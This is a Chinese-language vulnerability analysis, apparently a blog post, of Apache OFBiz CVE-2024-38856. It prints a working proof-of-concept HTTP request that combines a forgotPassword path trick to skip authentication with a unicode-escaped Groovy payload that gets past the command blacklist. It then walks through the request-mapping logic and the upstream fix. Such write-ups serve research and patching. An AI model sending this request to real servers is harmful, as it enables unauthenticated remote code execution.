少女祈祷中...

Apache OFBiz目录遍历导致RCE(CVE-2024-38856)

环境搭建

下载地址: https://ofbiz.apache.org/download.html
下载的是17.02版本(下载的是17.02版本(代码有点区别但是能复现漏洞,建议还是18版本)

然后在build.gradle 中设置jvm 调式参数

List jvmArguments = ['-Xms128M', '-Xmx1024M','-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005']

构建项目:

./gradlew cleanAll loadAll

这时候会编译出jar

直接运行

./gradlew ofbiz

不需要等待到100%

访问:https://localhost:8443/accounting/control/main

poc:

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host:127.0.0.1:8443
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 190

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
经过另外一位师傅的测试,不用; 和../../也可以

groovy代码注入,早在2023年就出现过CVE: CVE-2023-51467
https://blog.csdn.net/qq_53003652/article/details/135311261

编码绕过

在CVE-2023-51467 的基础上 进行unicode编码绕过
断点:groovyScripts/entity/ProgramExport.groovy

跟进isValidText
黑名单检测:

搬了exec 所以 直接 execute 也是不行的
进行unicode编码,能进行绕过

路径遍历

在一个ControlFilter的处理逻辑

在这里主要关注的点是为什么请求的是/webtools/control/forgotPassword/ProgramExport接口时,但是实际调用的是ProgramExport接口,而且能利用forgotPassword来绕过身份验证

具体的处理逻辑从webapp.control.ControlServlet#doGet()开始,该方法主要是做请求预处理,包括获取用户session信息、设置响应头,接着就会进入到RequestHandler.doRequest()

从代码上看,安全策略是由xml来配置的,找到相关配置文件:
webcommon/WEB-INF/common-controller.xml
在xml中获取request-map标签的相关信息,在security标签中保存了接口是否需要鉴权的信息,当该接口无需身份验证就能访问时auth的值就为false,从下图中我们可以看到forgotPassword是无需鉴权的

requestMap对象属性为securityAuth,该属性的值是从commom-controller.xml中获取的,保存的是security标签里auth的值,如果为true 就会检查是否登录了

再看看requestMap 怎么来的:

也就是 取决于前面的defaultRequestUri

继续查看defaultRequestUri

tomcat 是这么解析的,看到解析的时候忽略了; 这里取的是第一个元素,自然是forgotPassword

然而最后的view视图是取决于overrideViewUri

与前面不同的是,这里会取第二个元素

总结: 检查鉴权的是defaultRequestUri ( forgotPassword ) 而渲染视图的是 overrideViewUri(ProgramExport)
这样就绕过了登录检查,平常审计的时候也应该密切关注安全检查的策略

修复

来看看修复方式:

filter里面就搬了;和./
此外还对接口脚本处,多增一处权限校验

进一步的修复:https://github.com/apache/ofbiz-framework/commit/6c3b0068a99bb3b93321fdb983a0046b0679c86d

就不跟了

Reference: